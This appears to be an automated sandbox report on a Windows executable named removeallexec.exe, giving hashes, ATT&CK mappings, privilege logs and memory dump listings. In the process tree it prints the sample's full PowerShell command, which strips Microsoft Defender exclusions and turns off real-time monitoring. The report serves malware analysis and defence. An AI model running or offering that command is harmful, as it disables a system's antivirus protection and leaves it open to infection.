feb3524cb1767e2b6314ea956e33f7fb7e0aec23ef54274014e8d74782472c99

Analysis

max time kernel
149s
max time network
114s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/09/2026, 11:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
removeallexec.exe
Size 32KB
Sample260919-n2yzlsfa45
SHA256 feb3524cb1767e2b6314ea956e33f7fb7e0aec23ef54274014e8d74782472c99
MD5 3f6a4b012e9da92a5785b48f13853cf6
SHA1 79c0ae7136bc1cfbf350402b7d48db930e315f89
SHA512 f2d26cdb1f1d1326eb8880d72d6441751cc746c526ee6ad0b15f4c9c918270b30676be8deb63fed68f933fabfa54b8103609cfdea6896579fee1073119830d10
SSDEEP 768:fNZaOeT/r9AujlKBI1Cr5FYzgCX5pHMXMbDD3hslbK:YTl0sCrnYzggBMXMbDD32lbK
TLSH
T18BE2BF1053DA1625DF796F356DBB96100F39FB538E21C7AC15A8124E8D337A88632BF1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
2088	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2088	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	removeallexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2088	powershell.exe
2088	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2088	powershell.exe
Token: SeIncreaseQuotaPrivilege	2088	powershell.exe
Token: SeSecurityPrivilege	2088	powershell.exe
Token: SeTakeOwnershipPrivilege	2088	powershell.exe
Token: SeLoadDriverPrivilege	2088	powershell.exe
Token: SeSystemProfilePrivilege	2088	powershell.exe
Token: SeSystemtimePrivilege	2088	powershell.exe
Token: SeProfSingleProcessPrivilege	2088	powershell.exe
Token: SeIncBasePriorityPrivilege	2088	powershell.exe
Token: SeCreatePagefilePrivilege	2088	powershell.exe
Token: SeBackupPrivilege	2088	powershell.exe
Token: SeRestorePrivilege	2088	powershell.exe
Token: SeShutdownPrivilege	2088	powershell.exe
Token: SeDebugPrivilege	2088	powershell.exe
Token: SeSystemEnvironmentPrivilege	2088	powershell.exe
Token: SeRemoteShutdownPrivilege	2088	powershell.exe
Token: SeUndockPrivilege	2088	powershell.exe
Token: SeManageVolumePrivilege	2088	powershell.exe
Token: 33	2088	powershell.exe
Token: 34	2088	powershell.exe
Token: 35	2088	powershell.exe
Token: 36	2088	powershell.exe
Token: SeIncreaseQuotaPrivilege	2088	powershell.exe
Token: SeSecurityPrivilege	2088	powershell.exe
Token: SeTakeOwnershipPrivilege	2088	powershell.exe
Token: SeLoadDriverPrivilege	2088	powershell.exe
Token: SeSystemProfilePrivilege	2088	powershell.exe
Token: SeSystemtimePrivilege	2088	powershell.exe
Token: SeProfSingleProcessPrivilege	2088	powershell.exe
Token: SeIncBasePriorityPrivilege	2088	powershell.exe
Token: SeCreatePagefilePrivilege	2088	powershell.exe
Token: SeBackupPrivilege	2088	powershell.exe
Token: SeRestorePrivilege	2088	powershell.exe
Token: SeShutdownPrivilege	2088	powershell.exe
Token: SeDebugPrivilege	2088	powershell.exe
Token: SeSystemEnvironmentPrivilege	2088	powershell.exe
Token: SeRemoteShutdownPrivilege	2088	powershell.exe
Token: SeUndockPrivilege	2088	powershell.exe
Token: SeManageVolumePrivilege	2088	powershell.exe
Token: 33	2088	powershell.exe
Token: 34	2088	powershell.exe
Token: 35	2088	powershell.exe
Token: 36	2088	powershell.exe
Token: SeIncreaseQuotaPrivilege	2088	powershell.exe
Token: SeSecurityPrivilege	2088	powershell.exe
Token: SeTakeOwnershipPrivilege	2088	powershell.exe
Token: SeLoadDriverPrivilege	2088	powershell.exe
Token: SeSystemProfilePrivilege	2088	powershell.exe
Token: SeSystemtimePrivilege	2088	powershell.exe
Token: SeProfSingleProcessPrivilege	2088	powershell.exe
Token: SeIncBasePriorityPrivilege	2088	powershell.exe
Token: SeCreatePagefilePrivilege	2088	powershell.exe
Token: SeBackupPrivilege	2088	powershell.exe
Token: SeRestorePrivilege	2088	powershell.exe
Token: SeShutdownPrivilege	2088	powershell.exe
Token: SeDebugPrivilege	2088	powershell.exe
Token: SeSystemEnvironmentPrivilege	2088	powershell.exe
Token: SeRemoteShutdownPrivilege	2088	powershell.exe
Token: SeUndockPrivilege	2088	powershell.exe
Token: SeManageVolumePrivilege	2088	powershell.exe
Token: 33	2088	powershell.exe
Token: 34	2088	powershell.exe
Token: 35	2088	powershell.exe
Token: 36	2088	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5840 wrote to memory of 2088	5840	removeallexec.exe	88
PID 5840 wrote to memory of 4068	5840	removeallexec.exe	91

C:\Users\Admin\AppData\Local\Temp\removeallexec.exe
"C:\Users\Admin\AppData\Local\Temp\removeallexec.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5840
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Get-MpPreference | Select-Object -ExpandProperty ExclusionPath | ForEach-Object { Remove-MpPreference -ExclusionPath $_ }; Get-MpPreference | Select-Object -ExpandProperty ExclusionExtension | ForEach-Object { Remove-MpPreference -ExclusionExtension $_ }; Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess | ForEach-Object { Remove-MpPreference -ExclusionProcess $_ }; Set-MpPreference -DisableRealtimeMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2088
- C:\Program Files\Windows Defender\MpCmdRun.exe
  "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveAllExclusions
  2⤵
  PID:4068

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2088-18-0x0000000005F40000-0x0000000005F8C000-memory.dmp

Download

memory/2088-19-0x00000000070D0000-0x0000000007106000-memory.dmp

Download

memory/2088-36-0x00000000749E0000-0x000000007519C000-memory.dmp

Download

memory/2088-34-0x00000000749E0000-0x000000007519C000-memory.dmp

Download

memory/2088-33-0x00000000749E0000-0x000000007519C000-memory.dmp

Download

memory/2088-31-0x00000000074E0000-0x0000000007576000-memory.dmp

Download

memory/2088-6-0x00000000026C0000-0x00000000026F6000-memory.dmp

Download

memory/2088-7-0x00000000749E0000-0x000000007519C000-memory.dmp

Download

memory/2088-10-0x00000000749E0000-0x000000007519C000-memory.dmp

Download

memory/2088-9-0x0000000005250000-0x000000000589A000-memory.dmp

Download

memory/2088-8-0x00000000749E0000-0x000000007519C000-memory.dmp

Download

memory/2088-11-0x0000000005120000-0x0000000005142000-memory.dmp

Download

memory/2088-15-0x00000000058A0000-0x0000000005906000-memory.dmp

Download

memory/2088-14-0x00000000051C0000-0x0000000005226000-memory.dmp

Download

memory/2088-16-0x0000000005A60000-0x0000000005DBB000-memory.dmp

Download

memory/2088-17-0x0000000005EE0000-0x0000000005EFE000-memory.dmp

Download

memory/2088-30-0x00000000072E0000-0x00000000072EA000-memory.dmp

Download

memory/2088-20-0x00000000749E0000-0x000000007519C000-memory.dmp

Download

memory/2088-28-0x0000000007270000-0x000000000728A000-memory.dmp

Download

memory/2088-21-0x0000000070B70000-0x0000000070BBC000-memory.dmp

Download

memory/2088-24-0x00000000064D0000-0x00000000064F0000-memory.dmp

Download

memory/2088-25-0x0000000007110000-0x00000000071B3000-memory.dmp

Download

memory/2088-26-0x00000000749E0000-0x000000007519C000-memory.dmp

Download

memory/2088-27-0x00000000078B0000-0x0000000007F2C000-memory.dmp

Download

memory/5840-0-0x00000000749F2000-0x00000000749F3000-memory.dmp

Download

memory/5840-29-0x00000000749F2000-0x00000000749F3000-memory.dmp

Download

memory/5840-1-0x00000000008B0000-0x00000000008BE000-memory.dmp

Download

memory/5840-4-0x00000000053E0000-0x00000000053EA000-memory.dmp

Download

memory/5840-32-0x00000000749E0000-0x000000007519C000-memory.dmp

Download

memory/5840-5-0x00000000749E0000-0x000000007519C000-memory.dmp

Download

memory/5840-3-0x0000000005430000-0x00000000054C2000-memory.dmp

Download

memory/5840-2-0x0000000005AE0000-0x000000000609A000-memory.dmp

Download

memory/5840-38-0x00000000749E0000-0x000000007519C000-memory.dmp

Download